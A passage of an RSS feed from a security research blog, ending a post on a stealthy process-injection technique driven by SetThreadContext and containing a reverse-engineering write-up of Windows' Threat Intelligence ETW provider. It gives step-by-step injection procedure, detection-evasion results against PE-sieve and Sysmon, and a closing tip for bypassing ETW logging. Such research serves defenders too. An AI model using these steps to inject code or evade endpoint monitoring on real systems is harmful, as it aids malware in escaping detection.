    );</code></pre><figcaption><code>SetThreadContext</code> to execute the shellcode</figcaption></figure><p>Overall, the entire injection procedure is as so:</p><ol><li><code>SetThreadContext</code> to an infinite <code>jmp</code> loop to allow <code>SetThreadContext</code> to reliably use volatile registers,</li><li>Locate a valid <code>RW</code> stack (or pseudo-stack) to host <code>ReadProcessMemory</code> and <code>WriteProcessMemory</code> arguments and the temporary shellcode,</li><li>Register a duplicated handle using <code>DuplicateHandle</code> for the target process to read the shellcode from the malicious process,</li><li>Call <code>ReadProcessMemory</code> using <code>SetThreadContext</code> to copy the shellcode,</li><li>Return into the infinte <code>jmp</code> loop after <code>ReadProcessMemory</code>,</li><li>Call <code>WriteProcessMemory</code> using <code>SetThreadContext</code> to copy the shellcode to an <code>RX</code> page,</li><li>Return into the infinite <code>jmp</code> loop after <code>WriteProcessMemory</code>,</li><li>Call the shellcode using <code>SetThreadContext</code>.</li></ol><h2 id="detection-artifacts">Detection Artifacts</h2><p>To quickly test the stealth performance, I used two tools: <a href="https://twitter.com/hasherezade">hasherazade</a>&apos;s <a href="https://github.com/hasherezade/pe-sieve">PE-sieve</a> and <a href="https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon">Sysinternal&apos;s Sysmon</a> with <a href="https://twitter.com/SwiftOnSecurity">SwiftOnSecurity</a>&apos;s <a href="https://github.com/SwiftOnSecurity/sysmon-config">configuration</a>. If there are any other defensive monitoring tools, I would love to see how well this technique holds up against them.</p><h3 id="pe-sieve">PE-sieve</h3><p>Something I noticed while playing with PE-sieve is that if we inject the shellcode into the padding of the <code>.text</code> (or otherwise relevant) section, it will not be detected at all:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://undev.ninja/content/images/2020/06/image-4.png" class="kg-image" alt loading="lazy"><figcaption>PE-sieve scan results on the target process</figcaption></figure><p>If the shellcode is too big to fit into the padding, perhaps another module might contain a bigger cave.</p><h3 id="sysmon-events">Sysmon Events</h3><p>These are expected results using the <code>CreateProcess</code> call to spawn the target process instead of using <code>OpenProcess</code>. Something else to note is that the <code>DuplicateHandle</code> call might trigger a process handle event with <code>ObRegisterCallbacks</code> in Sysmon. This isn&apos;t the case because Sysmon does not follow the event if the handle access is performed by the process who owns that same handle. In the case with AVs or EDRs, it may be different.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://undev.ninja/content/images/2020/06/image-5.png" class="kg-image" alt loading="lazy"><figcaption>Sysmon events</figcaption></figure><h2 id="further-improvements">Further Improvements</h2><p>I wouldn&apos;t doubt that there may be some issues that I have overlooked since I really rushed this (side) project &#x2013; I just <em>had</em> to explore this idea and see how far I could go. With regards to recovering the hijacked thread execution, it is possible and I have implemented it in the PoC, but it is dependent on the malicious process which might or might not be a good thing. &#xAF;\_(&#x30C4;)_/&#xAF;</p><h3 id="limitations">Limitations</h3><p>One of the limitations of this technique is that the shellcode size is restricted due to the use of existing pages. The shellcode must be able to fit within the <code>RW</code> stack as well as the <code>RX</code> section. Although searching for modules with bigger sections is possible, it may not always be big enough. In this scenario, I would recommend using staging shellcode.</p><h1 id="conclusion">Conclusion</h1><p>So it&apos;s possible to not use <code>WriteProcessMemory</code>, <code>VirtualAllocEx</code>, <code>VirtualProtectEx</code>, <code>CreateRemoteThread</code>, <code>NtCreateThreadEx</code>, <code>QueueUserApc</code>, and <code>NtQueueApcThread</code> from the malicious process to inject into a remote process. The <code>OpenProcess</code> and <code>OpenThread</code> usage is still debatable because sometimes spawning a target process with <code>CreateProcess</code> isn&apos;t always the circumstance. However, it does remove a lot of suspicious calls which is the goal of this technique.</p><p>Since <code>SetThreadContext</code> is such a powerful primitive and crucial to this and many other stealthy techniques, will there be more focus on it? From what I can see, there is already native Windows logging available for it in <a href="https://github.com/repnz/etw-providers-docs/blob/master/Manifests-Win10-17134/Microsoft-Windows-Kernel-Audit-API-Calls.xml">Microsoft-Windows-Kernel-Audit-API-Calls</a> ETW provider. I&apos;m interested in seeing what the future will hold for process injection...</p>]]></content:encoded></item><item><title><![CDATA[Introduction to Threat Intelligence ETW]]></title><description><![CDATA[A quick look into ETW capabilities against malicious API calls.]]></description><link>https://undev.ninja/introduction-to-threat-intelligence-etw/</link><guid isPermaLink="false">5e93cbd69a075b04b60d4eaa</guid><category><![CDATA[antivirus]]></category><category><![CDATA[kernel]]></category><category><![CDATA[ETW]]></category><dc:creator><![CDATA[NtRaiseHardError]]></dc:creator><pubDate>Mon, 13 Apr 2020 10:19:58 GMT</pubDate><content:encoded><![CDATA[<p>Recently, the ETW functionality of Windows Defender was reintroduced to my attention after some discussion of existing methods of detecting malicious API calls and kernel callbacks (e.g. <code><a href="https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-pssetcreatethreadnotifyroutine">PsCreateThreadNotifyRoutine</a></code>, and <code><a href="https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-obregistercallbacks">ObRegisterCallbacks</a></code>). I&apos;ve briefly heard of the ability for Defender to detect malicious APC injection which was researched here in a blog post by <a href="https://twitter.com/dark_puzzle">Souhail Hammou</a> on <em><a href="https://rce4fun.blogspot.com/2019/03/examining-user-mode-apc-injection.html">Examining the user-mode APC injection sensor introduced in Windows 10 build 1809</a></em> which mentions the <code>EtwTiLogQueueApcThread</code> code. However, I just discovered that there was more than just APC injection. A recent blog post by <a href="https://twitter.com/b4rtik">B4rtik</a> on <em><a href="https://b4rtik.github.io/posts/evading-windefender-atp-credential-theft-kernel-version/">Evading WinDefender ATP credential-theft: kernel version</a></em> talks about attacking the ETW within the kernel by inline patching <code>nt!EtwTiLogReadWriteVm</code> to bypass detection of LSASS reads with <code><a href="https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FMemory%20Management%2FVirtual%20Memory%2FNtReadVirtualMemory.html">NtReadVirtualMemory</a></code>. It made me more curious as to how ETW worked so I had a look...</p><p>Note: The software versions at the time of writing are:</p><ul><li>Microsoft Windows 10 Enterprise Evaluation Version 10.0.18363 Build 18363z</li><li>ntoskrnl.exe Version 10.0.18362.592</li><li>Windows Defender Antimalware Client Version: 4.18.1911.3</li><li>Windows Defender Engine Version: 1.1.16700.3</li><li>Windows Defender Antivirus Version: 1.309.527.0</li><li>Windows Defender Antispyware Version: 1.309.527.0</li></ul><h2 id="uncovering-threat-intelligence-etw-capabilities">Uncovering Threat Intelligence ETW Capabilities</h2><p>Following B4rtik, I looked into <code>MiReadVirtualMemory</code> (which is just wrapped by <code><a href="https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FMemory%20Management%2FVirtual%20Memory%2FNtReadVirtualMemory.html">NtReadVirtualMemory</a></code>). As described, it eventually makes a call to <code>EtwTiLogReadWriteVm</code>:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://undev.ninja/content/images/2020/04/EtwTiLogReadWriteVm.png" class="kg-image" alt loading="lazy"><figcaption><code>EtwTiLogReadWriteVm</code> called in <code>MiReadVirtualMemory</code></figcaption></figure><p>Judging by the name, this is probably called by <code><a href="https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FMemory%20Management%2FVirtual%20Memory%2FNtWriteVirtualMemory.html">NtWriteVirtualMemory</a></code> as well. If we take a look inside, there&apos;s a function call to <code><a href="https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-etwproviderenabled">EtwProviderEnabled</a></code> which takes in the argument <code>EtwThreatIntProvRegHandle</code>:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://undev.ninja/content/images/2020/04/EtwProviderEnabled.png" class="kg-image" alt loading="lazy"><figcaption><code><a href="https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-etwproviderenabled">EtwProviderEnabled</a></code> called with <code>EtwThreadIntProvRegHandle</code></figcaption></figure><p>So this handle, I assume, is associated with &quot;threat intelligence&quot; events. If we cross-reference this handle, we can see that it is used in multiple other locations, namely:</p><ul><li><code>EtwTiLogInsertQueueUserApc</code></li><li><code>EtwTiLogAllocExecVm</code></li><li><code>EtwTiLogProtectExecVm</code></li><li><code>EtwTiLogReadWriteVm</code></li><li><code>EtwTiLogDeviceObjectLoadUnload</code></li><li><code>EtwTiLogSetContextThread</code></li><li><code>EtwTiLogMapExecView</code></li><li><code>EtwTiLogDriverObjectLoad</code></li><li><code>EtwTiLogDriverObjectUnLoad</code></li><li><code>EtwTiLogSuspendResumeProcess</code></li><li><code>EtwTiLogSuspendResumeThread</code></li></ul><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://undev.ninja/content/images/2020/04/xref-threat-handle.png" class="kg-image" alt loading="lazy"><figcaption>Cross-references to <code>EtwThreatIntProvRegHandle</code></figcaption></figure><p>It&apos;s quite obvious from these function names that the threat intelligence provider seems to log event data on very commonly-used malicious API such as <code><a href="https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc">VirtualAlloc</a></code>, <code><a href="https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory">WriteProcessMemory</a></code>, <code><a href="https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-setthreadcontext">SetThreadContext</a></code> and <code><a href="https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-resumethread">ResumeThread</a></code> which are the bread and butter of process hollowing. </p><p>There is also a reference to <code>EtwpInitialize</code> which is where the handle is initialised:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://undev.ninja/content/images/2020/04/handle-init.png" class="kg-image" alt loading="lazy"><figcaption><code>EtwThreatIntProvRegHandle</code> initialisation</figcaption></figure><p><code>EtwThreatIntProviderGuid</code> is defined as such:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://undev.ninja/content/images/2020/04/threatintproviderguid.png" class="kg-image" alt loading="lazy"><figcaption><code>EtwThreatIntProviderGuid</code> GUID value</figcaption></figure><p>We can verify that the Microsoft-Windows-Threat-Intelligence provider exists using <code>logman</code> on the command line:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://undev.ninja/content/images/2020/04/logman-threatprovider.png" class="kg-image" alt loading="lazy"><figcaption><code>logman</code> showing Microsoft-Windows-Threat-Intelligence provider</figcaption></figure><p>I&apos;m assuming that, theoretically, all of the usermode API derived from the cross-references of the <code>EtwThreatIntProvRegHandle</code> handle can be detected in real time by defensive tools subscribed to the event notifications.</p><h2 id="event-descriptors">Event Descriptors</h2><p>There are different types of descriptors for each type of event &quot;capability&quot;. If we take a quick look at the code after the call to <code><a href="https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-etwproviderenabled">EtwProviderEnabled</a></code> in <code>EtwTiLogReadWriteVm</code>, we can see references to symbols like <code>THREATINT_WRITEVM_REMOTE</code>:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://undev.ninja/content/images/2020/04/EtwEventEnabled.png" class="kg-image" alt loading="lazy"><figcaption>Call to <code><a href="https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-etweventenabled">EtwEventEnabled</a></code> with different event descriptors</figcaption></figure><p>If we cross-reference one of these, we&apos;ll find the entire list of descriptors:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://undev.ninja/content/images/2020/04/event-descriptors.png" class="kg-image" alt loading="lazy"><figcaption>Threat Intelligence event descriptors</figcaption></figure><p>The <code><a href="https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-etweventenabled">EtwEventEnabled</a></code> function determines if a certain event is enabled for logging on the associated provider handle. Brief analysis of the function, with the <code>EtwThreatIntProvRegHandle</code> static, shows that one of the key contributors of which event descriptor is logged relies on the bitmask of both the handle and event descriptor&apos;s <code>_EVENT_DESCRIPTOR.Keyword</code> value. If these two values <code>test</code>ed together is not 0, the event will be logged.</p><figure class="kg-card kg-image-card"><img src="https://undev.ninja/content/images/2020/04/EtwEventEnabled_bitmask-1.png" class="kg-image" alt loading="lazy"></figure><p>The handle&apos;s value is a consistent <code>0x0000000`1c085445</code> value (across reboots) and the event descriptor&apos;s <code>Keyword</code> is detailed in the Threat Intelligence array shown above. If we <code>&amp;</code> the handle&apos;s value and each of the event descriptor&apos;s bitmask values, we can see which are logged and which aren&apos;t (if I got this right):</p><figure class="kg-card kg-code-card"><pre><code>THREATINT_MAPVIEW_LOCAL_KERNEL_CALLER: false
THREATINT_PROTECTVM_LOCAL_KERNEL_CALLER: false
THREATINT_ALLOCVM_LOCAL_KERNEL_CALLER: false
THREATINT_SETTHREADCONTEXT_REMOTE_KERNEL_CALLER: false
THREATINT_QUEUEUSERAPC_REMOTE_KERNEL_CALLER: false
THREATINT_MAPVIEW_REMOTE_KERNEL_CALLER: false
THREATINT_PROTECTVM_REMOTE_KERNEL_CALLER: false
THREATINT_ALLOCVM_REMOTE_KERNEL_CALLER: false
THREATINT_THAW_PROCESS: false
THREATINT_FREEZE_PROCESS: false
THREATINT_RESUME_PROCESS: false
THREATINT_SUSPEND_PROCESS: false
THREATINT_RESUME_THREAD: false
THREATINT_SUSPEND_THREAD: false
THREATINT_WRITEVM_REMOTE: true
THREATINT_READVM_REMOTE: false
THREATINT_WRITEVM_LOCAL: false
THREATINT_READVM_LOCAL: false
THREATINT_MAPVIEW_LOCAL: false
THREATINT_PROTECTVM_LOCAL: false
THREATINT_ALLOCVM_LOCAL: true
THREATINT_SETTHREADCONTEXT_REMOTE: true
THREATINT_QUEUEUSERAPC_REMOTE: true
THREATINT_MAPVIEW_REMOTE: true
THREATINT_PROTECTVM_REMOTE: true
THREATINT_ALLOCVM_REMOTE: true</code></pre><figcaption>Logging status of threat intelligence event descriptors</figcaption></figure><p>Here, local and remote refer to either its own (local) process or another (remote) process. We can see that local memory allocation and all but one of the remote operations are set to logged. There is a discrepancy here between this data and B4rtik&apos;s post. If remote virtual memory reads are not enabled here then how does Defender detect LSASS reads? Perhaps because B4rtik&apos;s Defender is <strong>ATP</strong> which I, unfortunately, do not have at the time of writing this. If this is true, then maybe the handle&apos;s <code>0x0000000`1c085445</code> value may be different as well. </p><h2 id="writing-event-data">Writing Event Data</h2><p>Since this system does not receive event data on any virtual memory reads, let&apos;s look at the case of writes. If the <code><a href="https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-etweventenabled">EtwEventEnabled</a></code> function returns <code>TRUE</code>, it will proceed to write the data using <code><a href="https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-etwwrite">EtwWrite</a></code>:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://undev.ninja/content/images/2020/04/EtwWrite.png" class="kg-image" alt loading="lazy"><figcaption><code><a href="https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-etwwrite">EtwWrite</a></code> setup and call</figcaption></figure><p>Following the function definition, the data, <code>UserData</code> is passed in the 5th argument and the number of entries is in the 4th:</p><figure class="kg-card kg-code-card"><pre><code class="language-c">NTSTATUS EtwWrite(
  REGHANDLE              RegHandle,
  PCEVENT_DESCRIPTOR     EventDescriptor,
  LPCGUID                ActivityId,
  ULONG                  UserDataCount,
  PEVENT_DATA_DESCRIPTOR UserData
);</code></pre><figcaption><code><a href="https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-etwwrite">EtwWrite</a></code> function definition</figcaption></figure><p>On a breakpoint in <code><a href="https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FMemory%20Management%2FVirtual%20Memory%2FNtWriteVirtualMemory.html">NtWriteVirtualMemory</a></code>, we see the following arguments passed into the function:</p><figure class="kg-card kg-code-card"><pre><code>rcx=0000000000000e7c (ProcessHandle)
rdx=0000020051af0000 (BaseAddress)
r8=000000cf8697e168  (Buffer)
r9=000000000000018c  (NumberOfBytesToWrite)</code></pre><figcaption>First four arguments to <code><a href="https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FMemory%20Management%2FVirtual%20Memory%2FNtWriteVirtualMemory.html">NtWriteVirtualMemory</a></code></figcaption></figure><p>On a breakpoint before calling <code><a href="https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-etwwrite">EtwWrite</a></code> in <code>EtwTiLogReadWriteVm</code>, the <code>UserData</code> can be seen like so:</p><figure class="kg-card kg-code-card"><pre><code>2: kd&gt; dq @rax L@r9*2
ffffd286`70970880  ffffd286`709709d0 00000000`00000004
ffffd286`70970890  ffffd601`2e59b468 00000000`00000004
ffffd286`709708a0  ffffd601`2e59b490 00000000`00000008
ffffd286`709708b0  ffffd286`70970870 00000000`00000008
ffffd286`709708c0  ffffd601`2e59b878 00000000`00000001
ffffd286`709708d0  ffffd601`2e59b879 00000000`00000001
ffffd286`709708e0  ffffd601`2e59b87a 00000000`00000001
ffffd286`709708f0  ffffd601`2cdb16d0 00000000`00000004
ffffd286`70970900  ffffd601`2cdb1680 00000000`00000008
ffffd286`70970910  ffffd601`2e991368 00000000`00000004
ffffd286`70970920  ffffd601`2e991390 00000000`00000008
ffffd286`70970930  ffffd286`70970878 00000000`00000008
ffffd286`70970940  ffffd601`2e991778 00000000`00000001
ffffd286`70970950  ffffd601`2e991779 00000000`00000001
ffffd286`70970960  ffffd601`2e99177a 00000000`00000001
ffffd286`70970970  ffffd286`709709f0 00000000`00000008
ffffd286`70970980  ffffd286`709709f8 00000000`00000008</code></pre><figcaption>Dumping <code>EtwWrite</code> <code><a href="https://docs.microsoft.com/en-us/windows/win32/api/evntprov/ns-evntprov-event_data_descriptor">EVENT_DATA_DESCRIPTOR</a></code> entries</figcaption></figure><p>Each entry is an <code><a href="https://docs.microsoft.com/en-us/windows/win32/api/evntprov/ns-evntprov-event_data_descriptor">EVENT_DATA_DESCRIPTOR</a></code> structure defined as such:</p><figure class="kg-card kg-code-card"><pre><code class="language-c">typedef struct _EVENT_DATA_DESCRIPTOR {
  ULONGLONG Ptr;
  ULONG     Size;
  union {
    ULONG Reserved;
    struct {
      UCHAR  Type;
      UCHAR  Reserved1;
      USHORT Reserved2;
    } DUMMYSTRUCTNAME;
  } DUMMYUNIONNAME;
} EVENT_DATA_DESCRIPTOR, *PEVENT_DATA_DESCRIPTOR;</code></pre><figcaption><code><a href="https://docs.microsoft.com/en-us/windows/win32/api/evntprov/ns-evntprov-event_data_descriptor">EVENT_DATA_DESCRIPTOR</a></code> structure</figcaption></figure><p>The <code>Ptr</code> points to the data and <code>Size</code> describes the size of the <code>Ptr</code> data in bytes. &#xA0;But what kind of data is logged? If we peek into some of these values, we can make out that the last two values correspond to the base address and the number of bytes written:</p><figure class="kg-card kg-code-card"><pre><code>2: kd&gt; dq poi(@rax+f0) L1
ffffd286`709709f0  00000200`51af0000
2: kd&gt; dq poi(@rax+100) L1
ffffd286`709709f8  00000000`0000018c</code></pre><figcaption>Base address and number of bytes written in <code><a href="https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-etwwrite">EtwWrite</a></code> data</figcaption></figure><p>But what are the other 15 arguments? Luckily, the data is already out there. I gathered this information in <a href="https://github.com/zodiacon/EtwExplorer">ETW Explorer</a> written by <a href="https://twitter.com/zodiacon">Pavel Yosifovich</a>. If we explore the Microsoft-Windows-Threat-Intelligence provider and select the appropriate event descriptor, we can see all of the arguments:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://undev.ninja/content/images/2020/04/WRITEVM_args.png" class="kg-image" alt loading="lazy"><figcaption>ETW Explorer showing arguments to <code><a href="https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FMemory%20Management%2FVirtual%20Memory%2FNtWriteVirtualMemory.html">NtWriteVirtualMemory</a></code> event data</figcaption></figure><p>Here is the entire argument list:</p><figure class="kg-card kg-code-card"><pre><code>OperationStatus
CallingProcessId
CallingProcessCreateTime
CallingProcessStartKey
CallingProcessSignatureLevel
CallingProcessSectionSignatureLevel
CallingProcessProtection
CallingThreadId
CallingThreadCreateTime
TargetProcesId
TargetProcessCreateTime
TargetProcessStartKey
TargetProcessSignatureLevel
TargetProcessSectionSignatureLevel
TargetProcessProtection
BaseAddress
BytesCopied</code></pre><figcaption>Full argument list for <code><a href="https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FMemory%20Management%2FVirtual%20Memory%2FNtWriteVirtualMemory.html">NtWriteVirtualMemory</a></code> event data</figcaption></figure><h2 id="protection-mask">Protection Mask</h2><p>If we reverse engineer another capability, <code><a href="https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FMemory%20Management%2FVirtual%20Memory%2FNtAllocateVirtualMemory.html">NtAllocateVirtualMemory</a></code>, we can see that there is another requirement besides being a local or remote operation. The call to <code>MiMakeProtectionMask</code> identifies the requested protection type:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://undev.ninja/content/images/2020/04/MiMakeProtectionMask.png" class="kg-image" alt loading="lazy"><figcaption><code>MiMakeProtectionMask</code> operates on the requested protection value</figcaption></figure><p>The return value of <code>MiMakeProtectionMask</code> is set to the <code>r13d</code> register which is later referenced when deciding if code should branch to <code>EtwTiLogAllocExecVm</code>:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://undev.ninja/content/images/2020/04/MiMakeProtectionMask_Log.png" class="kg-image" alt loading="lazy"><figcaption><code>MiMakeProtectionMask</code> return value determines if the call should be logged</figcaption></figure><p>What&apos;s interesting is that <code>MiMakeProtectionMask</code> will return a value such that it will log the call if the requested protection includes execution permissions. I guess judging from the <code>EtwTiLogAllocExecVm</code>, it could be assumed that this the sole purpose. </p><p>This also occurs in the <code><a href="https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FMemory%20Management%2FVirtual%20Memory%2FNtProtectVirtualMemory.html">NtProtectVirtualMemory</a></code> call. It first has a call to <code>MiMakeProtectionMask</code> with the requested protection:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://undev.ninja/content/images/2020/04/MiMakeProtectionMask_1.png" class="kg-image" alt loading="lazy"><figcaption><code>MiMakeProtectionMask</code> on requested protection</figcaption></figure><p>Though this is used to check if the protection type is valid, it may also return a value similar to that of <code><a href="https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FMemory%20Management%2FVirtual%20Memory%2FNtAllocateVirtualMemory.html">NtAllocateVirtualMemory</a></code>&apos;s. The second call to <code>MiMakeProtectionMask</code> is used to check the current protection:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://undev.ninja/content/images/2020/04/MiMakeProtectionMask_2.png" class="kg-image" alt loading="lazy"><figcaption><code>MiMakeProtectionMask</code> on current protection</figcaption></figure><p>The return value of this is combined with the value derived from the new protection. So if either the new or the current protection has execute permissions, the operation will be logged.</p><h2 id="conclusion">Conclusion</h2><p>The Threat Intelligence ETW provides an interesting insight into how Microsoft may improve detection of malicious threats in conjunction with other kernel callbacks. Some things to note: being event-based makes this a retroactive system and some data is not recorded, for example, in <code><a href="https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FMemory%20Management%2FVirtual%20Memory%2FNtWriteVirtualMemory.html">NtWriteVirtualMemory</a></code>, the data being written is not captured. Though I guess that the data <em>may</em> already exist in the given target address so it might not matter.</p><p>Having analysed which operations may and may not be logged, perhaps creating bypasses against defensive tools that utilise Threat Intelligence ETW may be more reliable. For example, local allocation without execute permissions will not be logged <em>in addition</em> to local protection logging being disabled, it is possible to allocate <code>RW</code> malicious code before reprotecting it with execute permissions. This would, theoretically, bypass any Threat Intelligence ETW captures.</p><p>Despite this technology being introduced, there is always the risk of false positives. Throughout the process of debugging, I&apos;ve encountered an abundant amount of remote virtual memory writes just from the operating system itself. It&apos;s also known that .NET processes use <code>RWX</code> page permissions for JIT (which can also be abused for local injection of malicious code).</p><p>TL;DR: Don&apos;t touch other processes and allocate non-execute memory within your own process before reprotecting with execute permission.</p><h2 id="references">References</h2><p><a href="https://twitter.com/dark_puzzle">Souhail Hammou</a> - <a href="https://rce4fun.blogspot.com/2019/03/examining-user-mode-apc-injection.html"><em>Examining the user-mode APC injection sensor introduced in Windows 10 build 1809</em></a></p><p><a href="https://twitter.com/b4rtik">B4rtik</a> - <a href="https://b4rtik.github.io/posts/evading-windefender-atp-credential-theft-kernel-version/"><em>Evading WinDefender ATP credential-theft: kernel version</em></a></p>]]></content:encoded></item><item><title><![CDATA[Hello World]]></title><description><![CDATA[<p>suh</p>]]></description><link>https://undev.ninja/hello-world/</link><guid isPermaLink="false">5e8ec5f78396813a16344b39</guid><dc:creator><![CDATA[NtRaiseHardError]]></dc:creator><pubDate>Thu, 09 Apr 2020 06:51:56 GMT</pubDate><content:encoded><![CDATA[<p>suh</p>]]></content:encoded></item></channel></rss>